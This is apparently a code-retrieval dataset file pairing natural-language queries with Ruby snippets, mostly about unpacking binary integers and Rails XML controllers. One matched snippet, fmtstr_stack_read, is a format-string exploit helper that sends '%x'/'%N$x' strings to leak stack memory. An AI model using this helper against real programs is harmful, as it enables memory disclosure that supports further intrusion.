"0.47660023",
"0.47613725",
"0.47600383",
"0.47599152",
"0.47369432",
"0.4736238",
"0.4736048",
"0.4732211",
"0.4730408",
"0.4728114",
"0.4725478",
"0.47205454",
"0.47171125",
"0.47171125",
"0.4716389",
"0.471278",
"0.4702845",
"0.47014022",
"0.47005194",
"0.46926612",
"0.46889144",
"0.46772975",
"0.46743613",
"0.46719405",
"0.4659479",
"0.46584457",
"0.465239",
"0.46464399",
"0.46422717",
"0.46404934",
"0.46353492",
"0.46346152",
"0.4631962",
"0.4628359",
"0.46205607",
"0.4620403"
] |
0.7529303
|
0
|
Read a single 32bit integer from the stack at the specified offset
|
def fmtstr_stack_read(offset, extra = '')
# cant read offset 0!
return nil if offset < 1
fmt = ''
fmt << extra
if @use_dpa
fmt << "|%" + offset.to_s + "$x"
else
x = offset
if @use_fpu and x >= 2
fmt << "%g" * (x/2)
x %= 2;
end
fmt << "%x" * (x-1)
fmt << "|"
fmt << "%x"
end
res = trigger_fmt(fmt)
return res if not res
numstr = extract_fmt_output(res)
dw = numstr.split('|')[1].to_i(16)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def read_int(offset, stream = @index)\n stream.seek(offset)\n stream.read(4).unpack('L')[0]\n end",
"def read_uint32\n read(4).unpack(UINT32).first\n end",
"def read_int32\n read('N', 4)\n end",
"def get_int(offset)\n \n @contents.pos = offset\n # convert the four bytes to a signed integer\n return @contents.read(4).unpack('l')[0]\n end",
"def read_uint32(position = nil)\n seek(position)\n data = read_and_advance(4)\n BinData::Uint32be.read(data).to_i\n end",
"def get_int1(offset)\n @buf[offset]\n end",
"def read32\n\tval = (getc() << 24) + (getc() << 16) + (getc() << 8) +\n getc()\n\tval = -(val & 0x7fffffff) if (val & 0x80000000).nonzero?\n\treturn val\n end",
"def _int32(typename)\n # Ruby's unpack doesn't give us a big-endian signed integer, so we\n # decode a native signed integer and conditionally swap it\n _read_type(4, typename).unpack(\"N\").pack(\"L\").unpack(\"l\").first\n end",
"def read_32int_le(file)\n file.read(4).unpack('L<')[0]\n end",
"def i32\n next_bytes(4).unpack(\"l>\").first\n end",
"def read_dword(unpack_method=\"L*\")\n red = self.read(4)\n if unpack_method\n return red.unpack(unpack_method)\n else\n return red\n end\n end",
"def read_ic_uint32(flag = nil)\n name(\"ic_uint32\") do\n flag ||= peek { name(\"uint8_or_flag\") { read_uint8 } }\n\n case\n when flag < 0x80\n adjust(+1)\n flag\n when flag < 0xc0\n name(\"uint16\") { read_uint16 } & 0x7fff\n when flag < 0xe0\n name(\"uint24\") { read_uint24 } & 0x3fffff\n when flag < 0xf0\n name(\"uint32\") { read_uint32 } & 0x1fffffff\n when flag == 0xf0\n adjust(+1) # Skip the flag byte.\n name(\"uint32+1\") { read_uint32 }\n else\n raise \"Invalid flag #{flag} seen\"\n end\n end\n end",
"def get_int2(offset)\n s = @buf[offset..offset+2]\n s = s.unpack(\"n\")\n s.to_s.to_i\n end",
"def read_short(data, offset)\n out = data[offset,2].unpack('v').first rescue 0\n return out\n end",
"def i32u\n little? ? BinUtils.get_int32_le(read(4)) : BinUtils.get_int32_be(read(4))\n end",
"def u32\n next_bytes(4).unpack(\"L>\").first\n end",
"def get_int4(offset)\n s = @buf[offset..offset+4]\n s = s.unpack(\"N\")\n s.to_s.to_i\n end",
"def i32u\n r = little? ? BinUtils.get_int32_le(@data, @pos) : BinUtils.get_int32_be(@data, @pos)\n @pos += 4\n r\n end",
"def read_int!(bytes, md)\n bytes = bytes.slice!(0..3)\n md << bytes\n bytes.unpack('N')[0]\n end",
"def net_unpack_int(net_int)\n net_int.ord - NET_INT_OFFSET\nend",
"def _uint32(typename)\n _read_type(4, typename).unpack(\"N\").first\n end",
"def get_int\n raise EOFError if @position + 4 > @size\n value = @response[@position, 4].unpack('N*').first\n @position += 4\n return value\n end",
"def get_ulong\n get(4).unpack('L')\n end",
"def read_uint24(position = nil)\n seek(position)\n data = read_and_advance(3)\n BinData::Uint24be.read(data).to_i\n end",
"def value\n [offset].pack(\"L\").unpack(\"F\").first\n end",
"def get_i32\n res, @data = @data.unpack(\"Na*\")\n self.underrun! unless res\n res - ((res & INT_MASK) << 1)\n end",
"def decode_uint32(raw, offset=0)\n if raw.bytesize < offset + 4\n raise DecodeError, \"data too short\"\n end\n\n uint32 = raw.byteslice(offset, 4).unpack(\"L>\").first\n\n [uint32, 4]\n end",
"def read_int(signed = false, mut = :STD, order = :BIG)\n val = 0\n case order\n when :BIG\n val |= read_byte(signed) << 24\n val |= read_byte(signed) << 16\n val |= read_byte(signed) << 8\n val |= read_byte(signed, mut)\n when :MIDDLE\n val |= read_byte(signed) << 8\n val |= read_byte(signed)\n val |= read_byte(signed) << 24\n val |= read_byte(signed) << 16\n when :INVERSE_MIDDLE\n val |= read_byte(signed) << 16\n val |= read_byte(signed) << 24\n val |= read_byte(signed)\n val |= read_byte(signed) << 8\n when :LITTLE\n val |= read_byte(signed, mut)\n val |= read_byte(signed) << 8\n val |= read_byte(signed) << 16\n val |= read_byte(signed) << 24\n end\n val\n end",
"def read_int64; end",
"def int32()\n _int32(\"int32\")\n end",
"def read_value_i\n b_read = 0\n ie = @file.read INT_SIZE\n return nil if ie.nil? || ie.bytesize < INT_SIZE\n b_read += ie.bytesize\n\n i = ie.unpack(PACK_INT).first\n [i, b_read]\n end",
"def read(off, sz=4096); Ragweed::Wrap32::read_process_memory(@h, off, sz); end",
"def i32s\n r = little? ? BinUtils.get_sint32_le(@data, @pos) : BinUtils.get_sint32_be(@data, @pos)\n @pos += 4\n r\n end",
"def read_int16\n read('n', 2)\n end",
"def get_int64\n raise EOFError if @position + 8 > @size\n hi, lo = @response[@position, 8].unpack('N*N*')\n @position += 8\n return (hi << 32) + lo\n end",
"def read\n return nil if self.payload.empty?\n self.offset += 1\n return self.payload.shift\n end",
"def readVarInt(f, start=0)\n return readVarIntAndPos(f,start)[0]\nend",
"def i32s\n little? ? BinUtils.get_sint32_le(read(4)) : BinUtils.get_sint32_be(read(4))\n end",
"def read_uint64(position = nil)\n seek(position)\n data = read_and_advance(8)\n BinData::Uint64be.read(data).to_i\n end",
"def as_int\n return @as_int unless @as_int.nil?\n _pos = @_io.pos\n @_io.seek(0)\n @as_int = @_io.read_u1\n @_io.seek(_pos)\n @as_int\n end",
"def read_pointer(buffer, offset = 0)\n unpack_pointer(buffer[offset, (offset + pointer_size)])\n end",
"def p32(*address)\n\treturn address.pack(\"L*\")\nend",
"def read_sint16(position = nil)\n seek(position)\n data = read_and_advance(2)\n BinData::Int16be.read(data).to_i\n end",
"def read_uint_by_size(size)\n case size\n when 1\n read_uint8\n when 2\n read_uint16\n when 3\n read_uint24\n when 4\n read_uint32\n when 6\n read_uint48\n when 8\n read_uint64\n else\n raise \"Integer size #{size} not implemented\"\n end\n end",
"def as_int\n return @as_int unless @as_int.nil?\n _pos = @_io.pos\n @_io.seek(0)\n @as_int = @_io.read_u1\n @_io.seek(_pos)\n @as_int\n end",
"def read(handle, offset, length)\n send_request(FXP_READ, :string, handle, :int64, offset, :long, length)\n end",
"def read_uint48(position = nil)\n seek(position)\n data = read_and_advance(6)\n BinData::Uint48be.read(data).to_i\n end",
"def read32(data, options = {})\n options = { optimize: false, # whether to use a single command to do the read\n # user may care regarding endianness\n size: 32, # size of each item in bits\n number: 1, # default number of items\n }.merge(options)\n options[:optimize] = options[:optimized] if options[:optimized]\n\n if data.is_a?(Array)\n if options[:optimize]\n # for optimized option assume single starting address for data in array\n read_memory(extract_address(data, options), size: options[:size], number: data.length)\n else\n data.each_index do |i|\n data_item = data[i]\n # do separate writes for each 32-bit word\n read_memory(extract_address(data_item, options) + i * (options[:size] / 8), size: options[:size])\n end\n end\n else\n if options[:optimize]\n read_memory(extract_address(data, options), size: options[:size], number: options[:number])\n else\n read_memory(extract_address(data, options), number: (options[:size] / 8))\n end\n end\n end",
"def get_i64\n hi, lo, @data = @data.unpack(\"NNa*\")\n self.underrun! unless hi and lo\n (hi << 32) | lo\n end",
"def read_word(data, offset)\n out = data[offset,4].unpack('V').first rescue 0\n return out\n end",
"def read_value_s\n b_read = 0\n lu = @file.read INT_SIZE\n return nil if lu.nil? || lu.bytesize < INT_SIZE\n b_read += lu.bytesize\n\n l = lu.unpack(PACK_UINT).first\n s = @file.read l\n return nil if s.nil? || s.bytesize < l\n b_read += s.bytesize\n\n [s, b_read]\n end",
"def get_int_data(index)\n $test_logger.log(\"Get int data from location #{index}\")\n byt_data = get_data_at(index)\n \n #Convert to signed 32-bit integer from unsigned integer \n byt_data = Common.uint32_to_int32(byt_data)\n \n byt_data\n end",
"def readVarIntAndPos(f, start=0)\n if f.is_a? String\n curr = f[start].ord\n else\n curr = f.read(1).ord\n end\n index = start\n res = curr&0x7F\n while curr>=0x80\n res <<= 7\n index += 1\n if f.is_a? String\n curr = f[index].ord\n else\n curr = f.read(1).ord\n end\n res |= (curr&0x7F)\n end\n return res,index+1\nend",
"def read_bit\n @buffer.shift if @buffer.length >= 1\n end",
"def uint32(i)\n i & 0xffffffff\n end",
"def int32(val)\n raise ArgumentError, \"int32() requires an Integer argument\" \\\n unless val.is_a?(Integer)\n raise RangeError, \"argument to int32() must be in the range \" +\n \"-2**31 <= arg <= 2**31-1\" \\\n unless val >= -2**31 && val <= 3**31-1\n\n # Ruby's pack doesn't give us a big-endian signed integer, so we\n # encode a native signed integer and conditionally swap it\n @io.write([val].pack(\"i\").unpack(\"N\").pack(\"L\"))\n\n self\n end",
"def read_uint8(position = nil)\n seek(position)\n data = read_and_advance(1)\n BinData::Uint8.read(data).to_i\n end",
"def as_int\n return @as_int unless @as_int.nil?\n _pos = @_io.pos\n @_io.seek(0)\n @as_int = @_io.read_u2be\n @_io.seek(_pos)\n @as_int\n end",
"def get_int(s, context = \"?\")\n int = s.recv(4)\n\n if(int.nil? || int.length != 4)\n puts(\"Receive failed :: #{context}\");\n exit\n end\n\n return int.unpack(\"I\").pop\nend",
"def make_signed_int32(long); end",
"def int\n Util.from_bytes :int, value\n end",
"def read16\n\tval = (getc() << 8) + getc()\n\tval = -(val & 0x7fff) if (val & 0x8000).nonzero?\n\treturn val\n end",
"def value(offset = 0)\n Utils.int(values[offset, 2])\n end",
"def ram_read size = 1\n pc = registers[:eip].value\n read = ram[pc, size]\n\n registers[:eip].value += size\n\n read\n end",
"def pos\n (stream[:total_out_hi32] << 32) + stream[:total_out_lo32]\n end",
"def get_int\n return 0 if @seed.nil?\n bytes = get_4_bytes\n ((bytes[2].to_i) << 16) |\n ((bytes[1].to_i) << 8) |\n (bytes[0].to_i)\n end",
"def add_int32(_tag, _val)\n raise NotImplementedError\n end",
"def read_byte(data, offset)\n out = data[offset,1].unpack('C').first rescue 0\n return out\n end",
"def read_varint(data: nil, stream: nil, offset: 0)\n if data && !stream\n return [nil, 0] if data.bytesize < 1 + offset\n\n bytes = BTC::Data.bytes_from_data(data, offset: offset, limit: 9) # we don't need more than 9 bytes.\n\n byte = bytes[0]\n\n if byte < 0xfd\n return [byte, offset + 1]\n elsif byte == 0xfd\n return [nil, 1] if data.bytesize < 3 + offset # 1 byte prefix, 2 bytes uint16\n return [bytes[1] +\n bytes[2]*256, offset + 3]\n elsif byte == 0xfe\n return [nil, 1] if data.bytesize < 5 + offset # 1 byte prefix, 4 bytes uint32\n return [bytes[1] +\n bytes[2]*256 +\n bytes[3]*256*256 +\n bytes[4]*256*256*256, offset + 5]\n elsif byte == 0xff\n return [nil, 1] if data.bytesize < 9 + offset # 1 byte prefix, 8 bytes uint64\n return [bytes[1] +\n bytes[2]*256 +\n bytes[3]*256*256 +\n bytes[4]*256*256*256 +\n bytes[5]*256*256*256*256 +\n bytes[6]*256*256*256*256*256 +\n bytes[7]*256*256*256*256*256*256 +\n bytes[8]*256*256*256*256*256*256*256, offset + 9]\n end\n\n elsif stream && !data\n\n if stream.eof?\n raise ArgumentError, \"Can't parse varint from stream because it is already closed.\"\n end\n\n if offset > 0\n buf = stream.read(offset)\n return [nil, 0] if !buf\n return [nil, buf.bytesize] if buf.bytesize < offset\n end\n\n prefix = stream.read(1)\n\n return [nil, offset] if !prefix || prefix.bytesize == 0\n\n byte = prefix.bytes[0]\n\n if byte < 0xfd\n return [byte, offset + 1]\n elsif byte == 0xfd\n buf = stream.read(2)\n return [nil, offset + 1] if !buf\n return [nil, offset + 1 + buf.bytesize] if buf.bytesize < 2\n return [buf.unpack(\"v\").first, offset + 3]\n elsif byte == 0xfe\n buf = stream.read(4)\n return [nil, offset + 1] if !buf\n return [nil, offset + 1 + buf.bytesize] if buf.bytesize < 4\n return [buf.unpack(\"V\").first, offset + 5]\n elsif byte == 0xff\n buf = stream.read(8)\n return [nil, offset + 1] if !buf\n return [nil, offset + 1 + buf.bytesize] if buf.bytesize < 8\n return [buf.unpack(\"Q<\").first, offset + 9]\n end\n\n else\n raise ArgumentError, \"Either data or stream must be specified.\"\n end\n end",
"def read_u1\n read(1).first & 0xff\n end",
"def peek_at_prot_read1; prot_read1; end",
"def push_int\n <<-CODE\n next_int;\n stack_push(I2N(_int));\n CODE\n end",
"def read_long; end",
"def put_i32(arg)\n @data += [arg].pack(\"N\")\n self\n end",
"def uint32()\n _uint32(\"uint32\")\n end",
"def find_bit(data, idx_bit_begin_search)\n data_32bits = data.unpack('N*')\n # Mask the ignored bits with 0\n data_32bits[0] = data_32bits[0] & ((1 << (32-idx_bit_begin_search))-1) if (idx_bit_begin_search > 0)\n idx_not_null = data_32bits.find_index { |v| v != 0 }\n return nil if (idx_not_null == nil)\n not_null = data_32bits[idx_not_null]\n position_in_32bits = 0\n mask = (1 << 31)\n while ((not_null & mask) == 0)\n position_in_32bits += 1\n mask = mask >> 1\n end\n return idx_not_null*32 + position_in_32bits\n end",
"def set_int(offset, value)\n @contents.pos = offset\n # convert the value to bytes\n @contents.write [value].pack('l')\n end",
"def read_offset(fp)\n byte = Support::HexString.from_bin(fp.read(1)).ord\n tot = byte & 0x7f\n while (byte & 0x80) > 0\n byte = Support::HexString.from_bin(fp.read(1)).ord\n tot = ((tot + 1) << 7) | (byte & 0x7f)\n break if (byte & 0x80) == 0\n end\n tot\n end",
"def read_x(str)\n\t\t\taddr = IPAddr.new(str).to_i\n\t\t\tself[:a1]=Int32.new(addr >> 96)\n\t\t\tself[:a2]=Int32.new((addr & 0x00000000ffffffff0000000000000000) >> 64)\n\t\t\tself[:a3]=Int32.new((addr & 0x0000000000000000ffffffff00000000) >> 32)\n\t\t\tself[:a4]=Int32.new(addr & 0x000000000000000000000000ffffffff)\n\t\t\tself\n\t\tend",
"def small_integer_from_opcode(opcode)\n return 0 if opcode == \"\".b # OP_O\n return 0 if opcode == OP_0\n return -1 if opcode == OP_1NEGATE\n if opcode >= OP_1 && opcode <= OP_16\n return opcode - (OP_1 - 1)\n end\n return nil\n end",
"def get_long\n get(4).unpack('l')\n end",
"def read_process_memory(h, ptr, len)\r\n val = \"\\x00\" * len\r\n r = CALLS[\"kernel32!ReadProcessMemory:LLPLL=L\"].call(h, ptr.to_i, val, len, NULL)\r\n raise WinX.new(:read_process_memory) if r == 0\r\n return val ## don't handle short reads XXX\r\n end",
"def read_byte(signed = false, mut = :STD)\n val = 0\n val |= mutate(@payload.next_byte, mut)\n signed ? val : val & 0xff\n end",
"def read_data_byte(offset) [offset + 1, get_byte(offset)] end",
"def read_long(signed = false, mut = :STD, order = :BIG)\n val = 0\n case order\n when :BIG\n (BYTE_SIZE * 7).downto(0) { |div| ((div % 8).zero? and div.positive?) ? val |= read_byte(signed) << div : next }\n val |= read_byte(signed, mut)\n when :LITTLE\n (0).upto(BYTE_SIZE * 7) { |div| ((div % 8).zero? and div.positive?) ? val |= read_byte(signed) << div: next }\n val |= read_byte(signed, mut)\n end\n val\n end",
"def read(address)\n tag, slot_num, block_offset = split_address(address)\n slot = @slots[slot_num.to_i(16)]\n hit_miss = hit_miss(slot, tag)\n if hit_miss == \"hit\"\n value = slot.saved_blocks[block_offset.to_i(16)]\n else\n value = @main_memory.content[address.to_i(16)]\n range = (tag + slot_num + \"0\").to_i(16)..(tag + slot_num + \"F\").to_i(16)\n write_to_slot(slot, tag, @main_memory.content[range])\n end\n return value, hit_miss\n end",
"def _int1b(data)\n data.unpack('C').first\n end",
"def read_short(signed = false, mut = :STD, order = :BIG)\n val = 0\n case order\n when :BIG\n val |= read_byte(signed) << 8\n val |= read_byte(signed, mut)\n when :LITTLE\n val |= read_byte(signed, mut)\n val |= read_byte(signed) << 8\n end\n val\n end",
"def get_object(offset)\n io = to_shm_io\n io.seek(offset)\n Marshal.load(io)\n end",
"def uint32(*payloads)\n fixnums(4, FormatStrings::UINT32, payloads)\n end",
"def to_int\ntmp = self.raw_bytes.unpack \"C*\"\ntmp.inject do |r, i|\nr * 256 | i\nend\nend",
"def shift_short(buffer)\n bytes = buffer.slice!(0..1)\n bytes.unpack('n').first\n end",
"def varint!\n case (peek & 0xC0)\n when 0x00\n unpack_one!('C') #& 0x3F\n when 0x40\n unpack_one!('n') & 0x3F_FF\n when 0x80\n unpack_one!('N') & 0x3FFF_FFFF\n when 0xC0\n unpack_one!('Q>') & 0x3FFFFFFF_FFFFFFFF\n end\n end",
"def peek_at_priv_read1; priv_read1; end",
"def get_int(key)\n get(key, \"i\")\n end",
"def peek(idx, off = 0)\n return @stack_sigs[idx][@stack_ptr-1+off]\n end",
"def read_memory(address)\n # nes.memory.readWord(address)\n # Memory Manager readWord above\n # return read(address) | (read(address + 1) << 8);\n end",
"def fetch_long ( addr )\n\tif ( addr < @base || (addr + 3) > @limit )\n\t return nil\n\tend\n\tindex = addr - @base\n\tbytes = @im[index,4]\n\tvals = bytes.unpack \"L\"\n\tval = vals[0]\n end",
"def shift_short(buffer)\n bytes = buffer.slice!(0..1)\n bytes.unpack('n').first\n end",
"def get_uint_data(index)\n $test_logger.log(\"Get int data from location #{index}\")\n byt_data = get_data_at(index)\n byt_data\n end"
] |
[
"0.74301505",
"0.6981613",
"0.69502175",
"0.6916021",
"0.68579113",
"0.6744683",
"0.66947025",
"0.6418955",
"0.6242265",
"0.6192362",
"0.604565",
"0.6031513",
"0.60202396",
"0.59921587",
"0.58863777",
"0.5886111",
"0.587661",
"0.58682275",
"0.58503026",
"0.58500963",
"0.58016336",
"0.57890767",
"0.57883346",
"0.5766492",
"0.5750578",
"0.57485753",
"0.5735986",
"0.5719675",
"0.56998086",
"0.56918156",
"0.5657907",
"0.56093746",
"0.559507",
"0.5530523",
"0.5527373",
"0.55172664",
"0.5498405",
"0.5498143",
"0.54560107",
"0.5425142",
"0.5407047",
"0.5384289",
"0.53755105",
"0.5358689",
"0.53525984",
"0.5349743",
"0.5347622",
"0.53355944",
"0.5316723",
"0.53013265",
"0.52748203",
"0.5269617",
"0.5265745",
"0.5261351",
"0.52538407",
"0.5235403",
"0.5210186",
"0.51836604",
"0.51462686",
"0.51456404",
"0.5144491",
"0.51439255",
"0.5130252",
"0.51255333",
"0.5091831",
"0.5088256",
"0.50808185",
"0.50741404",
"0.5064084",
"0.50635886",
"0.50624627",
"0.5027205",
"0.5017665",
"0.50098896",
"0.5003356",
"0.49931604",
"0.49658808",
"0.49641454",
"0.495521",
"0.49550048",
"0.49395466",
"0.492643",
"0.4911834",
"0.49099427",
"0.49056107",
"0.49049732",
"0.48804444",
"0.48744863",
"0.48710942",
"0.4851317",
"0.48504475",
"0.48503336",
"0.48332596",
"0.4831231",
"0.48224795",
"0.48209506",
"0.4818377",
"0.48131323",
"0.48127872",
"0.4800085"
] |
0.5802876
|
20
|
GET /recycling_sites/1 GET /recycling_sites/1.xml
|
def show
@recycling_site = RecyclingSite.find(params[:id])
respond_to do |format|
format.html # show.html.erb
format.xml { render :xml => @recycling_site }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @selector_sites = SelectorSite.curr_ver.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @selector_sites }\n end\n end",
"def index\n @sites = Site.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @sites }\n end\n end",
"def index\n @sites = Site.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @sites }\n end\n end",
"def index\n @sites = Site.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @sites }\n end\n end",
"def index\n @sites = Site.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @sites }\n end\n end",
"def index\n @sites = Site.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @sites }\n end\n end",
"def get_xml\n response = @api.request(:get, @location, type: 'xml')\n response.body if response.status == 200\n end",
"def pacscl_xml\n document = Blacklight.default_index.search(q: \"id:#{params[:id]}\")&.dig(\"response\", \"docs\")&.first\n document = SolrDocument.new(document)\n document.suppress_xml_containers!\n respond_to do |format|\n format.xml do\n render xml: document.export_as_xml\n end\n end\n end",
"def index\n @user = self.current_user\n @sites = @user.find_sites(:all)\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @sites.to_xml }\n end\n end",
"def new\n @recycling_site = RecyclingSite.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @recycling_site }\n end\n end",
"def index\n headers['Content-Type'] = 'application/xml'\n @routes = website_routes + @opportunity_routes\n @blog_sitemap_route = buttercms_blog_sitemap_url\n end",
"def rest_get(uri)\n \n request = Net::HTTP::Get.new uri\n request.add_field(\"Accept\",\"application/xml\")\n auth_admin(request)\n \n Net::HTTP.start(uri.host, uri.port) do |http|\n response = http.request request\n response.value\n\n doc = REXML::Document.new response.body\n \n return doc\n \n end\n \nend",
"def index\n @sites = User.find(current_user.id).sites #Site.find(\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @sites }\n end\n end",
"def rss\n @title = t('titles.news', brand: website.brand_name)\n @description = website.value_for(\"default_meta_tag_description\")\n @news = News.all_for_website(website)\n respond_to do |format|\n format.xml # render rss.xml.builder\n end\n end",
"def xml(id)\n http.get(\"/nfse/#{id}/xml\") do |response|\n response.headers.fetch(\"Location\") { \"\" }\n end\n end",
"def index\n @sites = current_user.sites\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @sites }\n end\n end",
"def index\n @sites = current_user.sites\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @sites }\n end\n end",
"def rss # :nologin:\n @logs = RssLog.all(conditions: \"datediff(now(), updated_at) <= 31\",\n order: \"updated_at desc\", limit: 100,\n include: [:name,\n :species_list,\n { observation: :name }\n ])\n render_xml(layout: false)\n end",
"def show\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @site }\n end\n end",
"def index\n @sitelinks = Sitelink.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @sitelinks }\n end\n end",
"def rss\n @logs = RssLog.includes(:name, :species_list, observation: :name).\n where(\"datediff(now(), updated_at) <= 31\").\n order(updated_at: :desc).\n limit(100)\n\n render_xml(layout: false)\n end",
"def index\n @site_attributes = @site.site_attributes\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @site_attributes }\n end\n end",
"def index\n @sites = Site.all.order(:created_at)\n\n # @debug = scrape_all\n # @debug = scrape 'http://workingnews.blog117.fc2.com/?xml'\n \n # @spreadsheet = GoogleSpreadsheets::Enhanced::Spreadsheet.find('0ArhV7gTgs6Z8dHlSRUF2SzFXWjlkU1V2d29KR2pkdXc')\n # @worksheet = @spreadsheet.worksheets.find_by(title: 'site_rows')\n # @rows = @worksheet.rows\n # @site_rows = Site.site_rows\n \n # 同期実行\n # Site.sync_with_site_rows\n\n # スクレイピング\n # ApplicationController.helpers.scrape_update\n # ApplicationController.helpers.scrape \"http://alfalfalfa.com/index.rdf\"\n\n respond_to do |format|\n if Rails.env.development?\n format.html { render :html => @sites }\n end\n format.json { render :json => @sites.as_json }\n end\n end",
"def index\n @node = Fedora.rest('rest/')\n end",
"def show\n @scraper = Scraper.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @scraper }\n end\n end",
"def show\n @site = Site.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @site }\n end\n end",
"def show\n @site = Site.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @site }\n end\n end",
"def show\n @website = Website.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @website.to_xml }\n end\n end",
"def show\n @selector_site = SelectorSite.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @selector_site }\n end\n end",
"def index\n @websites = Website.find(:all, :order => 'name')\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @websites.to_xml }\n end\n end",
"def index\n @sites = Site.all\n\n respond_to do |format|\n format.html { render :template => \"admin_sites/index\" }\n format.xml { render :xml => @sites }\n end\n end",
"def index\n @retain_node_selectors = RetainNodeSelector.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @retain_node_selectors }\n end\n end",
"def index\n @lookup_scantasks = LookupScantask.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @lookup_scantasks }\n end\n end",
"def fetch_xml(uri)\n http = Net::HTTP.new(uri.host, uri.port)\n\n if uri.scheme == 'https'\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n end\n\n http.read_timeout = GoogleCustomSearch.configuration.timeout\n\n request = Net::HTTP::Get.new(uri.request_uri)\n request.initialize_http_header({ 'User-Agent' => user_agent })\n\n response = http.request(request)\n\n raise GoogleCustomSearch::InvalidRequest if response.code.match(/[34]\\d{2}/)\n raise GoogleCustomSearch::ServerError if response.code.match(/5\\d{2}/)\n\n response.body\n end",
"def google_sitemap\n\t\t@urls = []\n\t\t# 1. 305 - Redirected back to the reverse proxy to show old site page.\n\t\tREDIRECTIONS.select {|k,v| v[:action] == 305}.each {|r| @urls.push(r[0])}\n\t\t# 2. All Homepage's (including mainpage)\n\t\tSection.environments().each do |section|\n\t\t\thome = section_homepage_url(section)\n\t\t\t@urls << home if home\n\t\tend\n\t\t# 3. All Pages\n\t\tAsset.find_all_by_resource_type('Page').select {|p| p.published_page?}.each {|p| @urls << site_page_url(p)}\n\n respond_to do |format|\n format.xml\n end\n\tend",
"def index\n @requests = Request.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @requests }\n end\n end",
"def index\n @crawler_receives = CrawlerReceive.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @crawler_receives }\n end\n end",
"def show\n @research = Research.find(params[:id])\n @page_title = \"Hello Congress research request: \" + @research.name\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @research.to_xml(:except => [:email]) }\n end\n end",
"def index\n @dataset_researchers = Lien.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @dataset_researchers }\n end\n end",
"def index\n @nodes = Node.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @nodes }\n end\n end",
"def index\n @nodes = Node.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @nodes }\n end\n end",
"def show\n @website = Website.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @website }\n end\n end",
"def index\n @servers = Server.beating\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @servers }\n end\n end",
"def show\n @crawl_result = Crawl.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @crawl_result }\n end\n end",
"def show\r\n Connection.switch_data(params[:connection], \"daily\")\r\n @connections = Connection.find(params[:id])\r\n respond_to do |format|\r\n format.html #show.html.erb\r\n format.xml { render :xml => @connections.to_xml(:root => 'records', :children => 'record', :dasherize => false) }\r\n end\r\n end",
"def get_listings_xml(url)\n @client.get_content(url)\n end",
"def index\n @pages = []\n website.available_locales.each do |l|\n @pages << {\n url: locale_sitemap_url(locale: l.locale.to_s, format: 'xml'),\n updated_at: 1.day.ago}\n end\n respond_to do |format|\n format.html\n format.xml\n end\n end",
"def index\n @mush_crawlers = MushCrawler.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @mush_crawlers }\n end\n end",
"def read(id=nil)\r\n request = Net::HTTP.new(@uri.host, @uri.port)\r\n if id.nil?\r\n response = request.get(\"#{@uri.path}.xml\") \r\n else\r\n response = request.get(\"#{@uri.path}/#{id}.xml\") \r\n end\r\n response.body\r\n end",
"def list_sites\n r = execute(make_xml('SiteListingRequest'))\n arr = []\n if r.success\n r.res.elements.each('SiteListingResponse/SiteSummary') do |site|\n arr << SiteSummary.new(site.attributes['id'].to_i,\n site.attributes['name'],\n site.attributes['description'],\n site.attributes['riskfactor'].to_f,\n site.attributes['riskscore'].to_f)\n end\n end\n arr\n end",
"def rss\n @headers[\"Content-Type\"] = \"application/xml\"\n @articles = Article.find(:all, \n :order => 'created_at DESC',\n :conditions => [\"articles.approved = ?\", true],\n :limit => 10\n )\n render :layout => false\n end",
"def index\n @feeds = Feed.find(:all)\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @feeds.to_xml }\n end\n end",
"def index\n # seeker_result Site, \"div.site_list\" # , clear_tags: true\n response_service.title = 'Sites'\n smartrender \n end",
"def show\n @daily_grr = DailyGrr.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @daily_grr }\n end\n end",
